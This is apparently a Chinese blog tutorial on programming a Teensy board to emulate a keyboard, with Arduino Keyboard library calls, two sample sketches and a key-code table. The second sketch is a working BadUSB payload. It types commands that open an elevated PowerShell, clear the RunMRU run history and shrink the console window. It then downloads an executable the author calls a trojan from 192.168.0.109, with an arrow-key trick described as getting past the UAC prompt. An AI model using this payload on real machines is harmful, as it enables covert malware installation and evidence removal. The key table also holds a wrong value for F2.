Teensy之简单代码编写

Teensy之简单代码编写

程序结构

  • 在Arduino语言中, 标准的程序入口main函数在内部被定义, 代替是两个主要的函数setup()和loop()。
  • setup():当Arduino板启动时setup()函数会被调用。用它来初始化变量,引脚模式,开始使用某个库,等等。该函数在Arduino板的每次上电和复位时只运行一次。
  • loop():在创建setup函数,该函数初始化和设置初始值,loop()函数所做事的正如其名,连续循环,允许你的程序改变状态和响应事件。可以用它来实时控制arduino板。

库函数及相关参数

1
2
3
4
5
6
7
8
#include<Keyboard.h> //包含键盘模块的头文件
Keyboard.begin(); //开启键盘通信
delay(500); //延迟500毫秒
Keyboard.press(); //按下某个键
Keyboard.release(); //释放某个键
Keyboard.println(); /*输入某些内容 和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担心有办法回车*/
Keyboard.end(); //结束键盘通信

简单实例

  • 简单实例一:打开CMD执行命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    void setup() {
    Keyboard.begin();//开始键盘通信
    delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样
    Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
    delay(500);
    Keyboard.press('r');//按下r键
    delay(500);
    Keyboard.release(KEY_LEFT_GUI);//松掉win键
    Keyboard.release('r');//松掉r键
    delay(500);
    Keyboard.println("cmd");//输入cmd进入DOS
    delay(500);
    Keyboard.press(KEY_RETURN); //按下回车键
    Keyboard.release(KEY_RETURN); //释放回车键
    Keyboard.press(KEY_LEFT_SHIFT); // shift
    Keyboard.release(KEY_LEFT_SHIFT);
    Keyboard.press(KEY_RIGHT_CTRL); // Ctrl 空格
    delay(500);
    Keyboard.press(KEY_BACKSPACE);
    Keyboard.release(KEY_BACKSPACE);
    Keyboard.release(KEY_RIGHT_CTRL);
    Keyboard.println("dir");
    Keyboard.press(KEY_RETURN); //按下回车键
    Keyboard.release(KEY_RETURN); //释放回车键
    delay(500);
    Keyboard.press(KEY_CAPS_LOCK); //按下大写键
    Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
    delay(500);
    Keyboard.end();//结束键盘通讯
    }
    void loop() {
    // put your main code here, to run repeatedly:
    }
  • 简单实例二:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    void setup(){
    Keyboard.begin();//开始键盘通信
    delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样
    Keyboard.println("powershell.exe -command start-process powershell -verb runAs"); /*开启管理员级别的powershell*/
    Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); /*清除运行窗口产生的记录*/
    Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口
    Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象
    Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\\SUPER.EXE')"); /*从服务端下载病毒 服务器地址和木马自己指定 还有木马将在目标机上存放的地址 自己设置*/
    //自己想了一个比较笨的方法绕过UAC 就是询问管理员是否同意的那个框框
    Keyboard.press(KEY_LEFT_ARROW); //按住左方向键
    Keyboard.release(KEY_LEFT_ARROW); //释放左方向键
    Keyboard.press(KEY_RETURN); //按下回车键
    Keyboard.release(KEY_RETURN);//释放enter键
    Keyboard.end();//结束键盘通讯
    }
    void loop() {
    // put your main code here, to run repeatedly:
    }
  • 附上键值对照表:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    Key Hexadecimal value Decimal value
    KEY_LEFT_CTRL 0x80 128
    KEY_LEFT_SHIFT 0x81 129
    KEY_LEFT_ALT 0x82 130
    KEY_LEFT_GUI 0x83 131
    KEY_RIGHT_CTRL 0x84 132
    KEY_RIGHT_SHIFT 0x85 133
    KEY_RIGHT_ALT 0x86 134
    KEY_RIGHT_GUI 0x87 135
    KEY_UP_ARROW 0xDA 218
    KEY_DOWN_ARROW 0xD9 217
    KEY_LEFT_ARROW 0xD8 216
    KEY_RIGHT_ARROW 0xD7 215
    KEY_BACKSPACE 0xB2 178
    KEY_TAB 0xB3 179
    KEY_RETURN 0xB0 176
    KEY_ESC 0xB1 177
    KEY_INSERT 0xD1 209
    KEY_DELETE 0xD4 212
    KEY_PAGE_UP 0xD3 211
    KEY_PAGE_DOWN 0xD6 214
    KEY_HOME 0xD2 210
    KEY_END 0xD5 213
    KEY_CAPS_LOCK 0xC1 193
    KEY_F1 0xC2 194
    KEY_F2 0xC3 19
    KEY_F3 0xC4 196
    KEY_F4 0xC5 197
    KEY_F5 0xC6 198
    KEY_F6 0xC7 199
    KEY_F7 0xC8 200
    KEY_F8 0xC9 201
    KEY_F9 0xCA 202
    KEY_F10 0xCB 203
    KEY_F11 0xCC 204
    KEY_F12 0xCD 205

Arduino语法教程

参考文章:

文章目录
  1. 1. 程序结构
  2. 2. 库函数及相关参数
  3. 3. 简单实例
  4. 4. Arduino语法教程
    1. 4.1. 参考文章:
|